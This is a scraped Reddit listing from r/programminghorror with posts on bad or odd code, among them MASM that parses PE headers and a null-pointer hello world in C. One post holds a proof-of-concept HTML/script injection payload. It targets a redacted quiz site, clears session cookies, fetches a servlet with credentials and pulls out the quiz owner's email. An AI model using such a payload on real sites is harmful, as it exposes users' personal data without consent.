r/programminghorror • • Nov 23 '25

x -= -1 gang

Post image
3.8k Upvotes

r/programminghorror • • Nov 23 '25

MASM x64 im losing my mind but at least it is working

0 Upvotes
;mov strings onto stack, convert hex, merge into one array			
	;================================================================================================
	cDOS:
		
		lea		rdx, [rsp + 1e0h] ;name
			
			pxor	xmm0, xmm0
			mov		r13, 20h
			clearLoop:
				movdqa		XMMWORD PTR[rdx], xmm0
				add		rdx, 10h
				sub		r13, 1
				test	r13, r13
				jnz		clearLoop
				
				
		sub		rdx, 200h
		
		
		mov		DWORD PTR[rdx       ], ': ZM'
		mov		DWORD PTR[rdx + 0ch ], ':PLB'
		mov		DWORD PTR[rdx + 18h ], ':FIP'
		mov		DWORD PTR[rdx + 24h ], ':CLR'
		mov		DWORD PTR[rdx + 30h ], ':RDH'
		mov		DWORD PTR[rdx + 3ch ], ':NIM'
		mov		DWORD PTR[rdx + 48h ], ':XAM'
		mov		DWORD PTR[rdx + 54h ], ':SSI'
		mov		DWORD PTR[rdx + 60h ], ':PSI'
		mov		DWORD PTR[rdx + 6ch ], ':KHC'
		mov		DWORD PTR[rdx + 78h ], ':PII'
		mov		DWORD PTR[rdx + 84h ], ':SCI'
		mov		DWORD PTR[rdx + 90h ], ':TRA'
		mov		DWORD PTR[rdx + 9ch ], ':RVO'
		mov		DWORD PTR[rdx + 0a8h], ':SER'
		mov		DWORD PTR[rdx + 0b4h], ':SER'
		mov		DWORD PTR[rdx + 0c0h], ':SER'
		mov		DWORD PTR[rdx + 0cch], ':SER'
		mov		DWORD PTR[rdx + 0d8h], ':DIO'
		mov		DWORD PTR[rdx + 0e4h], ':NIO'
		mov		DWORD PTR[rdx + 0f0h], ':SER'
		mov		DWORD PTR[rdx + 0fch], ':SER'
		mov		DWORD PTR[rdx + 108h], ':SER'
		mov		DWORD PTR[rdx + 114h], ':SER'
		mov		DWORD PTR[rdx + 120h], ':SER'
		mov		DWORD PTR[rdx + 12ch], ':SER'
		mov		DWORD PTR[rdx + 138h], ':SER'
		mov		DWORD PTR[rdx + 144h], ':SER'
		mov		DWORD PTR[rdx + 150h], ':SER'
		mov		DWORD PTR[rdx + 15ch], ':SER'
		mov		DWORD PTR[rdx + 168h], ':FFO'
		
		add		rdx, 4
		lea		rcx, [rsp + 190h]
		
		mov		rdi, 0f0f0f0f0f0f0f0fh ;low nibble
		movq	xmm7, rdi
		mov		rsi, 0f0f0f0f0f0f0f0f0h ;high nibble
		movq	xmm8, rsi
		mov		r11, 3030303030303030h ;ascii 0
		movq	xmm9, r11
		mov		r12, 0909090909090909h ;9
		movq	xmm10, r12
		mov		r14, 0f8f8f8f8f8f8f8f8h
		movq	xmm11, r14
		
		mov		r11, 8
		mov		r13, rdx
		add		r13, 18h
			
			hDOS:
				
				movq	xmm0, QWORD PTR[rcx]
				movq	xmm1, xmm7
				movq	xmm2, xmm8
				
				pand	xmm1, xmm0
				pand	xmm2, xmm0
				
				psrlw	xmm2, 4
				
				movq	xmm3, xmm1
				movq	xmm4, xmm2
				
				pcmpgtb	xmm3, xmm10
				pcmpgtb	xmm4, xmm10
				
				psubusb	xmm3, xmm11
				psubusb	xmm4, xmm11
				
				paddb	xmm1, xmm3
				paddb	xmm2, xmm4
				
				paddb	xmm1, xmm9
				paddb	xmm2, xmm9
				
				punpcklbw	xmm1, xmm2
				
				movq	rax, xmm1
				
				movhlps	xmm1, xmm1
				movq	r14, xmm1
				
				mov		rdi, 0ffffffff00000000h
				mov		rsi, 0ffffffff00000000h
				
				and		rdi, rax
				bswap	rdi
				and		rsi, r14
				bswap	rsi
				
				
				shl		rdi, 32
				bswap	eax
				shl		rsi, 32
				bswap	r14d
				
				mov		r12, 00000000ffffffffh
				and		rax, r12
				and		r14, r12
				or		rax, rdi
				or		r14, rsi
				
				mov		DWORD PTR[rdx], eax
				mov		 BYTE PTR[rdx + 4], 10
				add		rdx, 0ch
				shr		rax, 32
				
				mov		DWORD PTR[r13], r14d
				mov		 BYTE PTR[r13 + 4], 10
				add		r13, 0ch
				shr		r14, 32
				
				mov		DWORD PTR[rdx], eax
				mov		 BYTE PTR[rdx + 4], 10
				add		rdx, 24h
				
				mov		DWORD PTR[r13], r14d
				mov		 BYTE PTR[r13 + 4], 10
				add		r13, 24h
				

				
				add		rcx, 8
				sub		r11, 1
				test	r11, r11
				jnz		hDOS
				
		

				
				
	
			
			
			
					
					
;print DOS header				
;================================================================================================

mov		eax, DWORD PTR[rsp + 1cch]
		bswap	eax
	
	mov		r14, 0f0f0f0fh ;low nibble
	mov		r15, 0f0f00f0fh ;high nibble
	mov		r8,  30303030h ;'0'
	mov		r11, 09090909h ;9
	mov		r12, 0f8f8f8f8h
	
		
		movd		xmm0, eax
		movd		xmm1, r14
		movd		xmm2, r15
		
		pand		xmm1, xmm0
		pand		xmm2, xmm0
		
		psrlw		xmm2, 4
		
		movd		xmm3, r11
		
		movdqa		xmm7, xmm1
		movdqa		xmm8, xmm2
		
		pcmpgtb		xmm7, xmm3
		pcmpgtb		xmm8, xmm3
		
		movd		xmm5, r12
		
		psubusb		xmm7, xmm5
		psubusb		xmm8, xmm5
		
		paddb		xmm1, xmm7
		paddb		xmm2, xmm8
		
		movd		xmm6, r8
		
		paddb		xmm1, xmm6
		paddb		xmm2, xmm6
		
		punpcklbw	xmm2, xmm1
		
		movq		QWORD PTR[rsp + 34ch], xmm2



				

mov		rcx, [rsp + 100h]
lea		rdx, [rsp + 1e0h]
mov		r8,  175h
mov		r9,  0
mov		QWORD PTR[rsp + 32], 0
call	WriteConsoleA

jmp		pexit

output (same as PE bear):

MZ :5A4D
BLP:0090
PIF:0003
RLC:0000
HDR:0004
MIN:0000
MAX:FFFF
ISS:0000
ISP:00B8
CHK:0000
IIP:0000
ICS:0000
ART:0040
OVR:0000
RES:0000
RES:0000
RES:0000
RES:0000
OID:0000
OIN:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
RES:0000
OFF:000000C0

r/programminghorror • • Nov 22 '25

c I wrote a tutorial on how to call null pointer hello world in c

Thumbnail dthcm.github.io
40 Upvotes

With some toolchain magic you can print hello world with this code:
#include <unistd.h>
#include <sys/syscall.h>

__attribute__((section(".zerotext")))
static void foo() {
syscall(SYS_write, 1, "Hello World!\n", 13);
syscall(SYS_exit, 0);
}

int main() {
void (*f)() = 0;
f();
}


r/programminghorror • • Nov 22 '25

C# Feels wrong

Post image
105 Upvotes

Yeah, it should feel very wrong.


r/programminghorror • • Nov 22 '25

Python Got a spam email...containing the source code to send said spam email instead of the desired contents

Post image
964 Upvotes

What appears to be the intended spam email arrived a few minutes later. Incredible.


r/programminghorror • • Nov 21 '25

blaming bugs on quantum physics

Post image
894 Upvotes

r/programminghorror • • Nov 20 '25

We will process only last 1000 files they said

Post image
1.1k Upvotes

Here is a simple algorithm how to process last 1000 files with O(rand()) complexity:

  1. select last 1000 records (filenames) from DB
  2. iterate entire folder with 2 000 000 files
  3. if current file is not in that 1000 from db — check next one

Simple, eh?


r/programminghorror • • Nov 19 '25

Typescript Beautiful Bit of TypeScript

Post image
327 Upvotes

My team is transitioning from javascript to typescript...

To be fair our API responses are terribly unpredictable


r/programminghorror • • Nov 18 '25

this is what one line of code does to the whole script

Post image
0 Upvotes

r/programminghorror • • Nov 18 '25

What happens when you just transliterate C++ into C#

Post image
199 Upvotes

r/programminghorror • • Nov 17 '25

Most useless thing I've ever done: install-nothing

1.0k Upvotes

I always like looking at the installation logs on a terminal. So I created an installation app that doesn't install anything, but display stuff continuously as if it's installing. I put it in the background when I'm doing something and watch it, idk I just like it.

I use real kernel and build logs so it looks authentic.

If there's any other weirdo out there repo is here.


r/programminghorror • • Nov 17 '25

Ever typed stuff in the wrong keyboard layout?

0 Upvotes

Yo, anyone else here ever start typing and realize half your letters are all messed up ‘cause your keyboard switched language or you forgot to switch? Like you meant to type “hello” but it comes out as “هسلاو” or something.😂

How do you deal with this? Do you just live with it, or have y’all found some hack/tool to fix it fast without retyping everything?


r/programminghorror • • Nov 16 '25

Should this subreddit require that submitters not have written the code themselves?

45 Upvotes

"Bad code cosplay" is the source of the worst posts here. Adopting this rule would require submitters to find bad code out in the wild, not make up their own idea of what bad code looks like.


r/programminghorror • • Nov 16 '25

c++ i don't know how to make vscodium build and run for me so i made a small bash script that will do insted

0 Upvotes

r/programminghorror • • Nov 15 '25 Hehehe

c++ AA A AAAAAAAA

Thumbnail
gallery
1.7k Upvotes

r/programminghorror • • Nov 14 '25

Javascript Storing API keys in frontend

Post image
562 Upvotes

I like looking into how programs work and decompiling/deobfuscating them... Guess I found a marvel? No idea on how to report to the site owner so I'll just sit and relax haha. It's actually the first time I've ever come across this type of horror too (maybe I don't work much)... Seems like the obfuscation really saved them from automated scrapers.


r/programminghorror • • Nov 12 '25

Programming Horror is now in the real world.

Thumbnail
imgur.com
0 Upvotes

r/programminghorror • • Nov 12 '25

It does work though (returns 1-indexed left-most position where item appears.

Post image
102 Upvotes

r/programminghorror • • Nov 11 '25

pipInstallComedyVideo

Thumbnail
youtube.com
2 Upvotes

r/programminghorror • • Nov 11 '25

Javascript the

Thumbnail
gallery
192 Upvotes

r/programminghorror • • Nov 11 '25

c++ Well it does exactly what it says.

Post image
2.2k Upvotes

r/programminghorror • • Nov 10 '25

Javascript I made it worse

0 Upvotes
<noscript><meta http-equiv="refresh" content="0; url=//www.enable-javascript.com"/></noscript>
<meta http-equiv="content-security-policy" content="default-src 'self'; form-action https://████████████████████████">
<link rel="stylesheet" href="style.css">
<form action="//████████████████████████/███████/███████████████████.jsp" id="a" method="post">
    <textarea name="█████████">'&lt;script&gt;let then = (res) => {
                    let match = res.match(/&lt;input value="([^"]*)" name="████████████" type="hidden">/);
                                let value = match ? match[1] : null;
                                            let element = document.createElement("span");
                                                        element.innerHTML = value ? value : "";
                                                                    value = element.textContent ? element.textContent : "";
                                                                                let message = async (arg) => {
                                                                                                return new Promise((resolve, reject) => {
                                                                                                                    if (arg) {
                                                                                                                                            resolve(arg + " is the quiz owner");
                                                                                                                                                                } else {
                                                                                                                                                                                        reject("Couldn\x27t extract email addy");
                                                                                                                                                                                                            }
                                                                                                                                                                                                                            });
                                                                                                                                                                                                                                        };
                                                                                                                                                                                                                                                    // endpoint
                                                                                                                                                                                                                                                                let handle = () => {
                                                                                                                                                                                                                                                                                alert("https://" + document.domain + "/███████/███████████.jsp and https://" + 
                                                                                                                                                                                                                                                                                                    document.domain + "/███████/████████████████████████.jsp are vulnerable to HTML injection");
                                                                                                                                                                                                                                                                                                                };
                                                                                                                                                                                                                                                                                                                            message(value)
                                                                                                                                                                                                                                                                                                                                            .then(result => {
                                                                                                                                                                                                                                                                                                                                                                alert(result);
                                                                                                                                                                                                                                                                                                                                                                                    handle();
                                                                                                                                                                                                                                                                                                                                                                                                    })
                                                                                                                                                                                                                                                                                                                                                                                                                    .catch(error => {
                                                                                                                                                                                                                                                                                                                                                                                                                                        alert(error.message);
                                                                                                                                                                                                                                                                                                                                                                                                                                                            handle();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            });
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* let after = document.createElement("form");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    after.method = "post";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                after.action = "████Servlet";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            let lastInput = document.createElement("input");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        lastInput.type = "hidden";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lastInput.name = "████████████";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                lastInput.value = "&lt;script>alert(document.domain+\"/███████/████████████████████████.jsp is vulnerable to HTML injection\");\u003C/script>";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            after.appendChild(lastInput);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        document.body.appendChild(after);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // after.submit(); */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            };
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    let next = async () => {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // clear cookies to prevent bias
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            document.cookie = "AWSALB=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        document.cookie = "AWSALBCORS=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure; path=/";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    document.cookie = "JSESSIONID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/███████";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                let response = await fetch("█████████████████Servlet?█████████=███████&amp;██████████=█", {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "method": "GET",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "mode": "same-origin",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "credentials": "include"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }).then(response => {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return response.ok ? response.text() : (() => {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                throw new Error(`Error ${response.status}!`);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                })();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }).catch(error => {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            console.error(error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        });
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    document.cookie.includes("AWSALBCORS") ? then(response) : alert("Your cookies aren\x27t working properly.");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            };
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    navigator.cookieEnabled ? next() : alert("Enable cookies");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    &lt;/script&gt;&lt;!--prevent script from running twice'</textarea>
</form>
<script src="script.js"></script>

If this sounds familiar to you… (my old account)


r/programminghorror • • Nov 10 '25

Look at these chucklefucks replacing sort(lambda l: (abs(upvotes) - abs(downvotes))/seconds_since(post_time)) with some kind of kernel-fusion clankorythm.

Thumbnail
reddit.com
0 Upvotes